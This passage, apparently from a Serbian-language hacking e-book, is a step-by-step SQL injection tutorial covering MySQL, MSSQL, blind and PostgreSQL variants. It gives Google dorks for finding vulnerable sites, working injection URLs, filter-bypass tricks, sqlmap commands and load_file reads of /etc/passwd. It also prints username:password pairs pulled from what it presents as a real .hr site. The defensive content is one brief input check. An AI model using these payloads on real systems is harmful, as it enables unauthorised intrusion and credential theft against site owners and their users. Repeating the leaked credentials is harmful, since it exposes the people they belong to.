Sto znaci da uzme rezultat iz baze gde je korisnik sa usernameom Admin i sifrom praznom ili da je 1=1 sto jeste istina i zato ce query biti uspesan... ' posle -- se nece racunati zato sto sve posle -- ce se racunati kao komentar... Ako ste uspeli da se ulogujete znaci da je sajt ranjiv i mozete koristiti sve sto dobijete time sto ste se ulogovali...

[ SQL Injection ][ Sadrzaj ]

Page 24: Web hacking methodes

[1] SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazenje broj-a kolona

[5] Pronalazenje ranjve kolone

[6] Pronalazanje verzije databaze

[7] Pronalazanje imena tabela

[8] Pronalazenje imena kolona

[9] Vadjenje podataka iz kolona

[10] Zaobilazenja filtera

[11] Zastiite vas sajt od SQL Injection-a

[12] Load file

1) SQL Injection?

SQL Injection je vrsta web napada... Napadac koristi rupu u skripti kako bi izvukao sve podatke iz databaze... Ranjivi sajtovi su u formaciji http://www.link.com/index.php?id=

Moze se staviti bilo sta drugo umesto index....

2) Pronalazanje ranjivog sajt-a

Najbolji nacin za pronalazak ranjivih sajtova je koriscenjem googl-a... Koristimo dorkove za pronalazak sajtova... Evo par dorkova:

inurl:faq.php?id=

inurl:event.php?id=

inurl:index.php?id=

3)Proveravanje da li je sajt ranjiv

Postoje 2 nacina da se proveri da li je sajt ranjiv...

I nacin

Imamo link

http://link.com/index.php?id=141

prvi nacin da se proveri da li je sajt ranjiv jeste da se na kraju linka doda samo '

tako da dobijemo link

http://link.com/index.php?id=141'

Page 25: Web hacking methodes

II nacin

Imamo link

http://link.com/index.php?id=141

drugi nacin da se proveri da li je sajt ranjiv jeste da se na kraju doda +and+1=2--

tako da dobijemo link

http://link.com/index.php?id=141+and+1=2--

Ukoliko nestane deo stranice(neka slika, text bilo sta) ili izbaci neku gresku, sajt je ranjiv. Neke od gresaka:

You have an error in your SQL syntax

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

4) Pronalazenje broj-a kolona

Znaci otkrili smo da je sajt ranjiv, sada treba da nadjemo broj kolona... To cemo izvesti pomocu funkcije order by

Na link

http://link.com/index.php?id=141

dodamo +order+by+5--

http://link.com/index.php?id=141+order+by+5--

Ukoliko se stranica ucita normalno ima vise od 5 kolona... Stranica se normalno ucitala probacemo sada 10

http://link.com/index.php?id=141+order+by+10--

Nestao je deo sajta sto znaci da ima vise od 5 a manje od 10 kolona... Probacemo 7...

http://link.com/index.php?id=141+order+by+7--

Stranica se normalno ucitava sto znaci da ima vise od 7, a manje od 10 kolona... Pokusacemo 8

http://link.com/index.php?id=141+order+by+8--

Na koloni 8 nestaje deo sajta sto znaci da ima 7 kolona.... + u linku stavljamo umesto razmaka zato sto na nekim pretrazivacima prazno mesto tj. razmak pretvori u %20 i tako nam je link ne pregledan i mozemo se lako zbuniti…

5) Pronalazenje ranjive kolone

Pronalazenje ranjive kolone radimo funkcijom union select all

Na link(u ovom slucaju) dodacemo +union+select+all+1,2,3,4,5,6,7-- i pre posle = cemo dodati -

Page 26: Web hacking methodes

http://utzos.hr/knjiga.php?id=-141+union+select+all+1,2,3,4,5,6,7--

Na stranici ce ispisati brojeve(u ovom slucaju je ispisao 1 2 3 4 5 6 7) sto znaci da podaci mogu da se izvuku sa bilo koje kolone...

Mi cemo izvlaciti sa druge kolone...

6) Pronalazanje verzije databaze

Kao sto rekoh izvlacimo podatke sa druge kolone... Umesto broja 2 stavicemo version() ili @@version

http://utzos.hr/knjiga.php?id=-141+union+select+all+1,@@version,3,4,5,6,7--

na stranici gde je bio broj 2 ispisace verziju databaze...

Ukoliko je verzija databaze 4 moramo da pogadjamo imena tabela i kolona, ali ukoliko je verzija databaze 5 ne moramo da nagadjamo imena tabela i kolona...

Nama je izbacio da je verzija 5.0.51a-24+lenny5 sto znaci da ne moramo da nagadjamo imena tabela i kolona...

7) Pronalazanje imena tabela

Ukoliko je verzija databaze 4 vi necete moci da nadjete imena tabela i kolona vec morate da nagadjate kako se zovu... Ukoliko je verzija databaze 4 preskocite ovaj korak...

Imena nekih od mogucih tabela:

admin

admins

user

users

member

members

Imena nekih od mogucih kolona:

username

uname

un

user

name

nick

password

pw

pwd

passwd

Page 27: Web hacking methodes

Ako je verzija databaze 5 mozemo da izvucemo imena tabela sto cemo uciniti na sledeci nacin... Umesto broja 2 stavicemo group_concat(table_name) i posle broja poslednje kolone

+from+information_schema.tables+where+table_schema=database()--

Dobijamo link:

http://link.com/index.php?id=-141+union+select+all+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--

Umesto broja 2 ispisao je imena tabela, u ovom slucaju datum,knjige,korisnici... Odma vidimo da nas zanima tabela korisnici i iz nje cemo izvuci kolone...

8) Pronalazenje imena kolona

Nasli smo ime tabele koja nas zanima i sada iz nje zelimo da izvucemo kolone... Umesto group_concat(table_name) stavicemo group_concat(column_name) i umesto

+from+information_schema.tables+where+table_schema=database()-- stavicemo +from+information_schema.columns+where+table_name=hex--

umesto hex moramo da encryptujemo u hex-u ime tabele... Idemo na

http://www.string-functions.com/string-hex.aspx

upisemo ime tabele(u ovom slucaju korisnici) i dobijamo hex-ovano

u ovom slucaju 6b6f7269736e696369 i sada mozemo da vidimo kolone...

http://link.com/index.php?id=-141+union+select+all+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x6b6f7269736e696369--

Na ovom linku ce nam ispisati imena kolona….

9) Vadjenje podataka iz kolona

Dobili smo: id,ime,prezime,KorIme,lozinka,razina

Nas zanimju KorIme i lozinka... Umesto group_concat(column_name) stavljamo group_concat(KorIme,0x3a,lozinka) 0x3a sluzi da bi se razdvojili user i pw(0x3a je :) i umesto

from+information_schema.columns+where+table_name=0x6b6f7269736e696369-- stavljamo +from+korisnici-- umesto korisnici stavljamo ime tabele ali u ovom slucaju je korisnici

i dobijamo link

http://link.com/index.php?id=-141+union+select+all+1,group_concat(KorIme,0x3a,lozinka),3,4,5,6,7+from+korisnici--

i ispisace nam:

lukahumski:1381987

matijasulc:matijasulc

Page 28: Web hacking methodes

trener:26.11.1973.

ante:ante

sto su useri i sifre od ovog sajta...

10) Zaobilazenja filtera

#1 Ukoliko kada ukucate union+select+all izbaci not acceptable onda izmenite u UnIoN+sElEcT+aLl tako da ce link biti:

http://www.link.com/index.php?id=1+UnIoN+sElEcT+aLl+1,2,3,4,5--

Bypass poznat pod imenom mixed case bypass...

#2 Na nekim sajtovima je zabranjen razmak pa umesto razmaka mozete stavljati i + a za bypasss cemo koristiti /**/ gde je /* pocetk komentara u PHP-u a */ kraj tako da ce link biti:

http://www.link.com/index.php?id=1/**/order/**/by/**/5--

#3 Na nekim sajtovima se ne moze koristi direktno funkcija (group_concat, concat, version() itd...) tako da cemo koristiti unhex(hex()) ili convert(using latin1) tako da ce link biti:

http://www.link.com/index.php?id=1+union+select+all+1,2,unhex(hex(version())),4,5--

ili

http://www.link.com/index.php?id=1+union+select+all+1,2,convert(version()+using+latin1),4,5--

Umesto version() ova dva bypass-a se mogu koristi i kod drugih funkcija, group_concat na primer...

#4 Na nekim sajtovima nece hteti da prihvati kada koristimo order by funkciju, tj ponasace se kao da ima beskonacno kolona... To se dobija kada stavimo +order+by+9999999-- Ukoliko se desi da se sve normalno ocitava mozemo probati da dodamo ' na pocetak i + na kraj... Tako da ce link biti:

http://www.link.com/index.php?id=1'+order+by+5--+

gde primecujemo da smo dodali ' posle broja i + na kraj linka... Ovaj bypass ostaje do kraja radnje SQL Injectiona tako da nema potrebe da ga brisete...

11) Zastiite vas sajt od SQL Injection-a

Evo koda koji treba da se stavi u skriptu:

if(!is_numeric($_GET['id']))

{

die(“Ispisace text kada neko proba da doda ' ili and+1=2”);

}

Page 29: Web hacking methodes

12) Load file

Nasli ste site sa SQL rupom, sada mozete da probate i da pristupite tabeli mysql.user i file privilegijama. Da bi videli koji je user i imamo li user privilegies dodajemo 'user' umesto vuln kolone i na kraju url-a dodajemo '+from+mysql.user--'.

To bi trebalo da izgleda ovako:

http://www.sajt.com/index.php?id=1+union+select+all+1,2,user,4+from+mysql.user--

Ako vam izadje username, to znaci da imate pristup mysql.user tabeli i da mozete da nastavite sa ovim tutorialom.

Sada da bi smo videli da li imamo file privilegije moramo umesto 'user' dodati 'concat(user,0x3a,file_priv)' i naravno '+from+mysql.user--'

http://www.sajt.com/index.php?id=1+union+select+all+1,2,concat(user,0x3a,file_priv),4+from+mysql.user--

Sada kada vam se na stranici izlistaju usernames i file priv. morate da pronadjete username koji vam je bioispisan na pocetku, kada ste kucali samo 'user' u kolonu, kada ga nadjete i ako pored njega pise 'Y' sto znaci Yes, vi imate file privilegije.

Veoma je korisna kada zelite da procitate neke fajlove na site-u. Sve sto treba da uradimo jeste da na vuln koloni ukucamo load_file('IME FAJLA'). Pokusacemo sa /etc/passwd, znaci u vuln kolonu kucamo 'load_file('/etc/passwd')'. Sto izgleda ovako:

http://www.sajt.com/index.php?id=1+union+select+all+1,2,load_file('/etc/passwd'),4--

Ako nam izbaci error mozemo da konvertujemo fajl u Char ili Hex, ali ako to uradimo neophodno je da

uklonimo " ' " kod imena fajla. Ako ime fajla konvertujemo u Hex vrednost, pre imena fajla moramo da dodamo 0x

http://www.sajt.com/index.php?id=1+union+select+all+1,2,load_file(0x2f6574632f706173737764),4+from+mysql.user--

Hex code: 2f6574632f706173737764 vazi za /etc/passwd

Za Hex konverter vam predlazem:

www.string-functions.com/string-hex.aspx

Ako odlucite da fajl konvertujete u Char vrednost onda dodajete 'load_file(char(konvertovan file to char))'. Sto izgleda ovako:

http://www.sajt.com/index.php?id=1+union+select+all+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100),4--

Page 30: Web hacking methodes

Gde '47,101,116,99,47,112,97,115,115,119,100' vazi za '/etc/passwd'

Preporucujem vam ovaj converter za char i neke ostale :

http://pookey.co.uk/binary.php

[ MsSQL Injection ][ Sadrzaj ]

[1] Pronalazenje broja kolona

[2] Pronalazenje verzije databaze

[3] Pronalazenje imena tabela

[4] Pronalazenje imena kolona

[5] Vadjenje podataka iz kolona

1) Pronalazenje broja kolona

Da bismo nasli broj kolona koristimo order by funkciju.... Dodacemo na kraj linka +order+by+5--

http://www.sajt.com/member.asp?id=234+order+by+5--

i izbacuje nam sledecu gresku:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 5 is out of range of the number of items in the select list.

Sto znaci da ima manje od 5 kolona, probacemo sa 4... Izbacuje istu gresku znaci ima manje i od 4... Probacemo sa 3 kolone i dobijamo sledecu gresku:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'order'.

sto znaci da ima 3 kolone...

2) Pronalazenje verzije database

Da bismo nasli verziju databaze koristimo @@version ili version()...

http://www.sajt.com/member.asp?id=-234+union+select+all+1,@@version,3--

i dobijamo:

Page 31: Web hacking methodes

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

i odatle vidimo verziju databaze....

3) Pronalazenje imena tabela

Posto kod MsSQL injection-a ne moze da ispise sve tabele odjednom moramo da gledamo jednu po jednu...

http://www.sajt.com/member.asp?id=-234+union+select+all+1,table_name,3+from+information_schema.tables--

i dobijamo:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Drzava' to a column of data type int.

i vidimo da imamo tabelu Drzava... Sada treba da vidimo ostale tabele... Koristicemo not+in funckiju.... Znaci imamo link:

http://www.sajt.com/member.asp?id=-234+union+select+all+1,table_name,3+from+information_schema.tables+where+table_name+not+in('Drzava')--

i dobijamo ime sledece tabele:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Admin' to a column of data type int.

i odatle vidimo da imamo tabelu Admin... Da ne zelimo ni tabelu Admin dodali bismo i nju u not+in, link bi bio sledeci:

http://www.sajt.com/member.asp?id=-234+union+select+all+1,table_name,3+from+information_schema.tables+where+table_name+not+in('Drzava','Admin')--

4) Pronalazenje imena kolona

Isto vazi i za kolone... Ne moze da ispise sve kolone odjednom tako da moramo jednu po jednu...

U ovom slucaju koristicemo where+table_name='Admin'-- Tako da imamo link:

Page 32: Web hacking methodes

http://www.sajt.com/member.asp?id=-234+union+select+all+1,column_name,3+from+information_schema.columns+where+table_name='Admin'--

i ispise nam:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'USERNAME' to a column of data type int.

i odavde vidimo da imamo kolonu USERNAME... Sada nama trebaju i ostale kolone tako da ponovo koristimo not+in funkciju...

http://www.sajt.com/member.asp?id=-234+union+select+all+1,column_name,3+from+information_schema.columns+where+table_name='Admin'+and+column_name+not+in('USERNAME')--

i ispisuje name:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'PASSWD' to a column of data type int.

i dobijamo da imamo i kolonu PASSWD... Isto kao i malopre ukoliko zelimo da vidimo sledecu kolonu dodacemo i PASSWD u not+in tako da cemo imati link:

http://www.sajt.com/member.asp?id=-234+union+select+all+1,column_name,3+from+information_schema.columns+where+table_name='Admin'+and+column_name+not+in('USERNAME',PASSWD')--

5) Vadjenje podataka iz kolona

Sada treba da umesto table_name stavimo ime kolone i umesto svega posle from stavimo ime tabele....

http://www.sajt.com/member.asp?id=-234+union+select+all+1,USERNAME,3+from+Admin--

i dobijamo da je username OjuZwqAul.... Isto sada uradimo i za password:

http://www.sajt.com/member.asp?id=-234+union+select+all+1,PASSWD,3+from+Admin--

i dobijamo da je sifra M7sWt2!2uq

Page 33: Web hacking methodes

Ukoliko bismo zeleli da izvucemo sledeci rezultat iz baze za USERNAME koristicemo limit funkciju, imamo link onda:

http://www.sajt.com/member.asp?id=-234+union+select+all+1,USERNAME,3+from+Admin+limit+1,1--

Posto je pocetni limit 0,1 sada cemo staviti 1,1 kako bismo izvukli drugi rezultat...

[ Blind SQL Injection ][ Sadrzaj ]

[1] Blind SQL Injection

[2] Provera ranjivosti sajta

[3] Pronalazenje verzije databaze

[4] MySQL user

[5] Pronalazenje imena tabela

[6] Pronalazenje imena kolona

[7] Vadjenje sadrzaja iz kolona

[8] Vadjenje sadrzaja iz kolona koriscenjem sqlmap-a

1) Blind SQL Injection?

Za razlika od obicnog SQL Injection-a, kod Blind SQL Injection-a sajt ne ispisuje nikakve greske, ne ispisuje imena kolona i tabela, ne ispisuje sadrzaj kolona... Zato se i zove

Blind sql... Sve se dogadja preko toga da li stranica ostane ista ili nestane neki deo nje... Kod Blind sql injectiona se ne koristie -- i /**/

2) Provera ranjivosti sajta

Recimo da je nas link od sajta:

http://www.sajt.com/index.php?id=1

dodacemo +and+1=2 sto ocigledno nije istina

http://www.sajt.com/index.php?id=1+and+1=2

i ukoliko nestane deo stranice znaci da je sajt ranjiv...

3) Pronalazenje verzije databaze

Kao sto sam vec rekao kod Blind sql injection sajt nista nece ispisati tako da cemo reci da je verzija databaze 4... Ukoliko nestane deo strane znaci da verzija nije 4, a ukoliko

sve ostane isto verzija je 4.... Koristicemo funkciju @@version...

http://www.sajt.com/index.php?id=1+and+substring(@@version,1,1)=4

Page 34: Web hacking methodes

ukoliko se stranica normalno ucita onda je verzija 4, a ukoliko nestane neki deo verzija nije 4... Tada cemo probati da stavimo za verziju 5:

http://www.sajt.com/index.php?id=1+and+substring(@@version,1,1)=5

i trebalo bi da nam vrati normalno stranicu...

4) MySQL user

Prvo cemo proveriti da li smemo da koristimo select funkciju zato sto je nekad blokiran... Link ce biti:

http://www.sajt.com/index.php?id=1+and+(select+1)=1

ukoliko se stranica ucita normalno select sme da se koristi, a ako se ne ucita normalno select nesme da se koristi... Sada cemo proveriti da li imamo pristup mysql user-u...

Link ce u ovom slucaju biti:

http://www.sajt.com/index.php?id=1+and+(SELECT+*+from+mysq.user+limit+0,1)=1

isto kao i svuda, ukoliko se stranica ucita normalno imamo pristup mysql.user-u ako ne onda nemamo...

mysql.user je koristan da bismo izvukli hash-irane lozinke ili da koristimo load_file() i OUTFILE..

5) Pronalazenje imena tabela

Sada da bismo nasli imena tabela i kolona treba samo da se nagadja... Prvo cemo naci ime tabele a posle imena kolona iz tabele....

Imamo link kod koga pokusavamo imena raznih tabela... Ukoliko sa stranice nista ne nestane znaci da je ime tabele tacno i da postoji....

Link:

http://www.sajt.com/index.php?id=1+and+(select+1+from+ime_tabele+limit+0,1)=1

posto je nama glavni cilj kod blind sql-a jeste da nadjemo podatke od admina samo tabele vezane za admin-a dolaze u obzir, npr:

admin

administrator

member

login

members

adm

user

users

tbl_admin

Page 35: Web hacking methodes

Primer linka bi mogao da bude:

http://www.sajt.com/index.php?id=1+and+(select+1+from+admin+limit+0,1)=1

6) Pronalazenje imena kolona

Sada kada smo nasli ime tabele koja nas zanima vreme je da nadjemo kolone... Isto se radi kao i za tabele... Pogadaju se imena, ukoliko stranice ostane nepromenjena kolona

postoji... Nas zanimaju login podaci tako da ce najcesce kolone biti:

username

admin

admin_username

uname

user

nick

password

pwrod

admin_password

pw

pass

Link koji koristimo za kolone je:

http://www.sajt.com/index.php?id=1+and+(select+substring(concat(1,ime_kolone),1,1)+from+ime_tabele+limit+0,1)=1

Primer:

http://www.sajt.com/index.php?id=1+and+(select+substring(concat(1,username),1,1)+from+admin+limit+0,1)=1

7) Vadjenje sadrzaja iz kolona

U celom Blind sql injection-u ovo je najdosadniji i najduzi deo... Ovde ce nam trebati ascii tabela:

http://www.asciitable.com/

Gledacemo samo kolone DEC i CHR kod ascii tabele....

Prvo cemo izvlaciti username, izvlacimo slovo po slovo... Znaci treba da pogadjamo DEC za neko slovo, npr za A je 65

Imamo link:

Page 36: Web hacking methodes

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(ime_kolone)+from+ime_tabele+limit+0,1),1,1))>od_dec_nekog_znaka

Primer:

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(username)+from+users+limit+0,1),1,1))>65

Ukoliko se stranica vrati normalno, tj ne nedostaje nijedan deo stranice znaci da je za prvo slovo u pitanju neki karakter kome je DEC veci od 65... Recimo da na primer kada stavimo >70 vrati stranicu normalno a kada stavimo >71 ne vrati normalno sto znaci da je nas DEC za prvo slovo 71 posto je DEC veci od 70 ali ne i 71 tako da ce prvi karakter biti G... Da bismo pogadjali drugo slovo izmenimo 1,1 u 2,1

i tako sada pogadjamo drugo slovo... Primer:

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(ime_kolone)+from+ime_tabele+limit+0,1),2,1))>65

Ukoliko kada stavite >65 i vrati stranicu kao da nije tacno pa prebacite na <66 i opet vrati stranicu kao da nije tacno znaci da vise nema slova u reci...

Isto ovako se uradi i za password i posle dugog vremena nadju se username i sifra...

Ukoliko negde ima vise usera i zelite da i od njih izvucete sifre moracete da dodate where funkciju ili da promenite limit+0,1 u limit+1,1 itd... To bi izgledalo ovako:

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(ime_kolone)+from+ime_tabele+where+ime_kolone=nesto+limit+0,1),1,1))>od_dec_nekog_znaka

Za drugo ime_kolone kod where obicno se koristi id mada mogu biti i druge stvari.... Primer sa id-om:

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(ime_kolone)+from+ime_tabele+where+id=1+limit+0,1)1,1))>65

ili ako menjate limit onda bi to izgledalo ovako:

http://www.sajt.com/index.php?id=1+and+ascii(substring((select+concat(ime_kolone)+from+ime_tabele+limit+1,1)1,1))>65

8) Vadjenje sadrzaja iz kolone koriscenjem sqlmap-a

posto ste i sami shvatili da za vadjenje sadrzaja iz kolona treba dosta vremena preporucujem vam da koristite sqlmap, ali ipak da znate i rucno ;)

sqlmap za windows download: https://github.com/sqlmapproject/sqlmap/zipball/master

sqlmap za unix download: https://github.com/sqlmapproject/sqlmap/tarball/master

NOTE: vecina unix sistema kada se instalira ima sqlmap odmah

Page 37: Web hacking methodes

takodje trebace vam instaliran python ukoliko ga vec nemate....

python download: http://www.python.org/download/

sada treba da dodjemo do direktorijuma gde nam je sqlmap...

Start > run > cmd i dodjite do direktorijuma gde je sqlmap koriscenjem cd funkcije

funckija za pokretanje sqlmapa za vadjenje podataka kod blind sql injection-a za windows je:

sqlmap.py -u "http://sajt.com/index.php?id=1" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(ime_username_kolone,0x3a,ime_password_kolone) from ime_tabele)"

NOTE: za unix sisteme se pre sqlmap.py stavi python pa tek onda ostalo npr:

python sqlmap.py -u "http://sajt.com/index.php?id=1" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(ime_username_kolone,0x3a,ime_password_kolone) from ime_tabele)"

Ukoliko ima vise usera kao sto sam rekao koristite i id:

sqlmap.py -u "http://sajt.com/index.php?id=1" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(ime_username_kolone,0x3a,ime_password_kolone) from ime_tabele where id=1)"

posle -u se stavlja link od sajta

posle -p se stavlja parametar koji je ranjiv(u nasem slucaju id)

-a nam sluzi da koristi neki random user agen-t iz txt/user-agents.txt

-v1 je verbose

posle --string stavljamo nesto po cemu ce sqlmap prepoznati da je nasao slovo(neki deo text-a koji nestaje kada je false slucaj

-e je komanda koju zelimo da izvrsimo u nasem slucaju je ova:

SELECT concat(ime_username_kolone,0x3a,ime_password_kolone) from ime_tabele where userid=1

[ Postgre SQL Injection ][ Sadrzaj ]

[1] Postgre SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazenje broja kolona

[5] Pronalazenje ranjive kolone

[6] Pronalazanje verzije databaze

[7] Pronalazanje imena tabela

Page 38: Web hacking methodes

[8] Pronalazenje imena kolona

[9] Vadjenje podataka iz kolona

1) Postgre SQL Injection?

Postgre SQL Injection je slican obicnom SQL Injectionu. Razlika je u tome sto se u ovom slucaju radi o Postgre bazi, a ne MySQL. Malo je komplikovaniji napad od obicnog SQL Injection-a.

Koriste se neke drugacije funkcije nego kod obicnog SQL Injection-a, i sami cete to videti kroz ovaj tutorial.

2) Pronalazenje ranjivog sajta

Pronalazenje ranjivog sajta je isto kao i kod obicnog SQL Injectiona, sto znaci koriscenjem google dorkova. Evo nekih dorkova:

inurl:faq.php?id=

inurl:event.php?id=

inurl:index.php?id=

3) Proveravanje da li je sajt ranjiv

Naslti ste neki sajt koji je mozda ranjiv. Da biste proverili dali je sajt ranjiv dodacemo ' na kraju linka.

http://www.link.com/page.php?page=1'

Ukoliko na stranici dobijemo ispis tipa:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: syntax error at or near

ili nestane deo stranice(slika, tekst itd...), sajt je ranjiv.

4) Pronalazenje broja kolona

Znaci otkrili smo da je sajt ranjiv, sada treba da nadjemo broj kolona... To cemo ovaj put izvesti pomocu funkcije union

Nas link ce biti:

http://www.link.com/page.php?page=1+union+select+all+null--+-

Ukoliko se stranica normalno ocita znaci da ima vise kolona.

http://www.link.com/page.php?page=1+union+select+all+null,null,null,null from dual--

Dodajemo null sve dok ne dodje do greske. Ako dodje do greske kod 7 null-a, znaci da ima 6 kolona, sto znaci 6 nullova.

5) Pronalazenje ranjive kolone

Page 39: Web hacking methodes

Nalazenje ranjive kolone je krajnje lako i logicno. Null = 0, sto znaci da sta god da stavite umesto odredjenog null ako se nista ne desi znaci da je kolona neupotrebljiva.

Tako cemo naci ranjivu kolonu. Evo jedan nacin za to:

http://www.link.com/page.php?page=1+union+select+all+current_database(),null,null,null--+-

Ukoliko ne ispise nista, znaci da je kolona neupotrebljiva i precicemo na sledecu, a ovu vratiti na null.

6) Pronalazanje verzije databaze

Pronalazenje verzije databaze se radi uz pomoc funkcije version(). Evo linka koji ce nam prikazati verziju:

http://www.link.com/page.php?page=1+union+select+all+version(),null,null,null--+-

I dobicemo nesto kao:

PostgreSQL 9.0.4 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit

7) Pronalazanje imena tabela

Izvalacenje tabela je isto kao i kod obicno SQL Injectiona, jedino je sto ovde umesto brojeva kolona imamo null. Evo kako ce to izgledati:

http://www.link.com/page.php?page=1+union+select+all table_name,null,null,null+from+information_schema.tables--+-

i dobicemo imena tabela, i nastavicemo da izvucemo kolone iz zeljene tabele.

8) Pronalazenje imena kolona

Izvlacenje kolona je takodje lako, i nema velike razlike. Evo kako ce izgledati link racunajuci da nam trebaju kolone tabele users:

http://www.link.com/page.php?page=1+union+select+all+column_name,null,null,null+from+information_schema.columns+where+table_name=users--+-

Ponekad ovo nece raditi pa cemo morati da pretvorimo = iz ascii u decimal. Koristite ovaj sajt:

http://www.yellowpipe.com/yis/tools/encrypter/index.php

i onda ce link biti:

http://www.link.com/page.php?page=1+union+select+all+column_name,null,null,null+from+information_schema.columns+where+table_name||CHR(61)||users--+-

9) Vadjenje podataka iz kolona

Page 40: Web hacking methodes

Poslednji korak, vadjenje podataka iz kolone. Kao sto sam vec 2 puta rekao sve je veoma slicno obicnom SQL Injection-u. Link ce biti:

http://www.link.com/page.php?page=1+union+select+all+username||CHR(58)||password+from+users--+-

[ Error based Postgre SQL Injection ][ Sadrzaj ]

[1] Error based Postgre SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazanje verzije databaze

[5] Pronalazanje imena tabela

[6] Pronalazenje imena kolona

[7] Vadjenje podataka iz kolo

1) Error based Postgre SQL Injection?

Error based Postgre SQL Injection je vrsta web napada vezana za Postgre SQL bazu. U ovom tutorialu cu vam objasniti error based verziju napada. Razlika je u tome sto na primer

ne mogu da se odjednom izvuku sve tabele, kolone i vrednosti iz kolone itd... Bilo bi pozeljno da znate makar obican SQL Injection kako se nebi pogubili u tutorialu. Kao sto vam

i ime samog napada kaze, napad se zasniva na greskama, i svi rezultati ce biti ispisani u greskama.

2) Pronalazenje ranjivog sajta

Pronalazenje ranjivog sajta je isto kao i kod obicnog SQL Injectiona, sto znaci koriscenjem google dorkova. Evo nekih dorkova:

inurl:faq.php?id=

inurl:event.php?id=

inurl:index.php?id=

3) Proveravanje da li je sajt ranjiv

Naslti ste neki sajt koji je mozda ranjiv. Da biste proverili dali je sajt ranjiv dodacemo ' na kraju linka.

http://www.link.com/page.php?page=1'

Ukoliko na stranici dobijemo ispis tipa:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: syntax error at or near

sajt je ranjiv.

Page 41: Web hacking methodes

4) Pronalazanje verzije databaze

Da bismo pronasli verziju databaze koristicemo funkciju version(). Kod ovog napada query izgleda malo komplikovanije nego kod obicnog SQLi tako da nemojte da se zbunite.

Link ce biti sledeci:

http://www.link.com/page.php?page=1+and+1=cast(version()+as+int)--

Ukoliko se funkcija uspesno izvrsi na stranici dobijate ispis slican ovome:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 9.0.4 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"

odakle dobijamo da je verzija databaze:

PostgreSQL 9.0.4 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit

5) Pronalazanje imena tabela

Kao sto sam vec rekao na pocetku, kod ovog napada ne moze da izvucemo sve tabele od jednom nego jednu po jednu. Zbog toga cemo morati da koristimo funkcije limit i offset.

Offset ce nam sluziti kako bismo rekli koji rezultat iz baze da nam ispise. Nas link ce izgledati ovako:

http://www.link.com/page.php?page=1+and+1=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+int)--

Na stranici cemo dobiti ispis tipa:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "pg_type"

Iz ovoga vidimo da imamo tabelu pg_type. Kod ovog napada ce se ispisavati i "system" baze kao sto je pg_type i druge koje cete sami prepoznati kad ih vidite, ono sto vam nema logike.

Da bismo dobili sledecu tabelu promenicemo offset na 1:

http://www.link.com/page.php?page=1+and+1=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+int)--

i ispisace nam novu tabelu kao na primer pg_attribute. Menjacemo offset sve dok ne dobijemo ime tabele koje zelimo, ako uopste ta tabela postoji...

6) Pronalazenje imena kolona

Menjajem offseta recimo da ste nasli tabelu admin iz koje zelite da izvucete kolone. Prvo sto treba da uradite je da ime tabele pretvorite u decimal. Za to cemo koristiti sajt:

Page 42: Web hacking methodes

http://easycalculation.com/ascii-hex.php

Unecete string admin i dobicete sledeci decimal kod:

97 100 109 105 110

taj decimal kod cemo malo izmeniti. Treba da izgleda ovako kada ga izmenimo:

CHR(97)+||+CHR(100)+||+CHR(109)+||+CHR(105)+||+CHR(110)

Sad cemo to staviti za table name i izvuci kolone.

http://www.link.com/page.php?page=1+and+1=cast((select+column_name+from+information_schema.columns+where+table_name=CHR(97)+||+CHR(100)+||+CHR(109)+||+CHR(105)+||+CHR(110)+limit+1+offset+0)+as+int)--

